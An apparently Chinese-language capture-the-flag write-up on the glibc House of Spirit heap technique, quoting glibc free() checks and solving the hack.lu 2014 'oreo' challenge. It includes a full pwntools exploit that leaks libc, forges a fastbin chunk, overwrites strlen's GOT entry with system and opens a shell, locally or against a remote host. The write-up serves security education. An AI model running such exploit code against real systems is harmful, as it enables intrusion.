House of Spirit

该攻击手法的主要是思想是,在不可控区域的前后伪造chunk信息,覆盖某指针指向chunk2mem(fake_chunk),释放该指针后再次申请,对不可控区域的进行改写。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
+---------------+
|   可 控 区 域   |
+---------------+
|               |
| 不 可 控 区 域  |
|               |
| 一 般 为 某 些  |
|  指 针         |
+---------------+
| 可 控 区 域     |
+---------------+

伪造的chunk也通常是fastbin,因为检查容易绕过。

__libc_free函数中对IS_MMAPED检查。如果mmap分配,将会使用munmap_chunk进行释放。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// glibc release/2.25/master 
void
__libc_free (void *mem)
{
    .....
    p = mem2chunk (mem);

    if (chunk_is_mmapped (p))                       /* release mmapped memory. */
    {
      /* See if the dynamic brk/mmap threshold needs adjusting.
	 Dumped fake mmapped chunks do not affect the threshold.  */
        if (!mp_.no_dyn_threshold
            && chunksize_nomask (p) > mp_.mmap_threshold
            && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX
	        && !DUMPED_MAIN_ARENA_CHUNK (p))
        {
            mp_.mmap_threshold = chunksize (p);
            mp_.trim_threshold = 2 * mp_.mmap_threshold;
            LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                        mp_.mmap_threshold, mp_.trim_threshold);
        }
        munmap_chunk (p);
        return;
    }

    ar_ptr = arena_for_chunk (p);
    _int_free (ar_ptr, p, 0);
}
libc_hidden_def (__libc_free)

_int_free函数中对nextchunk的大小进行检查。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// glibc release/2.25/master 3909~3923
    if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
			  <= 2 * SIZE_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))  
			     >= av->system_mem, 0))
      {
	/* We might not have a lock at this point and concurrent modifications
	   of system_mem might have let to a false positive.  Redo the test
	   after getting the lock.  */
	if (have_lock
	    || ({ assert (locked == 0);
		  __libc_lock_lock (av->mutex);
		  locked = 1;					  // 对nextchunk大小进行检查
		  chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
		    || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
	      }))

hack.lu2014 oreo

1
2
3
4
5
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

题目比较古老了,防护开的不多。

分析

程序功能

1
2
3
4
5
6
1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!

Add new rifle 函数,固定分配0x38个字节,加上chunk头,也就是0x40的fast chunk size。在末尾四个字节处存储前一个rifle首地址。输入name和description,其中可以明显的看到溢出和覆盖。头指针和计数变量全局存储。

Show added rifles函数,对所有的rifle进行遍历,输出name和description。

Order selected rifles函数,订购rifles,遍历free 0x38字节的rifle结构。订单数也是一个全局变量。

Leave message函数,在全局存储128字节的信息。

所用到的全局变量的结构如下:

image-20200701192427785

rifle变量是rifle结构的头指针,order_num是订单数计数变量,num是rifle计数变量,message_ptr在main函数中初始化为&message,指向下方128字节message空间的起始地址。

leak libc

通过对rifle的next指针覆盖成puts_got的地址,然后show added rifle就可以打印出puts的地址。

恰好puts_got+0x34的位置就是NULL,不会造成程序出错。

house of spirit

message_ptr是一个理想的控制对象,只要控制了它存储的地址,就可以通过leave message进行改写。

查看附近,对齐地址就有0x804a2a0。不断进行add rifle就可以控制num,也就是fakechunk->size,后面message区域也可以进行nextchunk的构造。

添加0x40个rifle控制fakechunk->size为0x40。注意message前方align 20,所以message区域添加0x20的padding就完成了fakechunk的构造。接着构造nextchunk的pre_size和size,只要注意将size控制在2 * SIZE_SZav->system_mem中间的值即可。

在rifle中覆盖next指针为0x804a2a8,然后order rifle,fastbin的0x40链表头就有了我们伪造的chunk。

1
2
3
4
payload = b"\x00"*0x20 + p32(0) + p32(0x100)
leave_message(payload)
add(b"A"*27+p32(0x804A2A8), "B")
order()

接下来,利用message_ptr对strlen_got进行改写即可。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3

from pwn import *

context(os="linux", arch="i386", log_level="debug")
localfile = "./oreo"
locallibc = "/lib/i386-linux-gnu/libc.so.6"

def add(name, desc):
    # io.recvuntil(": ")
    io.sendline(str(1))
    # io.recvuntil("name: ")
    io.sendline(name)
    # io.recvuntil("description: ")
    io.sendline(desc)

def order():
    io.sendline(str(3))
    # io.sendlineafter("Action: ", str(3))

def leave_message(msg):
    io.sendline(str(4))
    # io.sendlineafter("Action: ", str(4))
    io.sendline(msg)
    # io.sendlineafter("your order: ", msg)

def exp():
    io.recvuntil("6. Exit!\n")
    # leak libc
    puts_got = 0x804A248
    payload = b"A"*27 + p32(puts_got)
    add(payload, "B")
    gdb.attach(io, "b *0x8048A25")
    io.sendline(str(2))
    io.recvuntil("Description: ")
    io.recvuntil("Description: ")
    puts_addr = u32(io.recv(4))
    libc_base = puts_addr - libc.sym["puts"]
    log.debug("libc base: 0x%x" % libc_base)

    # constructe fake chunk
    for i in range(0x3e):
        add("A", "B")
    add(b"A"*27+p32(0x804A2A8), "B")
    payload = b"\x00"*0x20 + p32(0) + p32(0x100)
    leave_message(payload)
    order()

    # attack
    strlen_got = elf.got["strlen"]
    add("A", p32(strlen_got))
    # gdb.attach(io, "b *0x8048A25")
    system_addr = libc_base + libc.sym["system"]
    leave_message(p32(system_addr) + b";/bin/sh")

    io.interactive()


argc = len(sys.argv)
if argc == 1:
    io = process(localfile)
else:
    if argc == 2:
        host, port = sys.argv[1].split(":")
    elif argc == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    io = remote(host, port)
elf = ELF(localfile)
libc = ELF(locallibc)
exp()

存在的疑问…

pwntools的recvuntil等函数无法正常使用,无论是最新开发版,还是稳定版本。

ref

  1. how2heap house_of_spirit.c
  2. https://www.anquanke.com/post/id/85357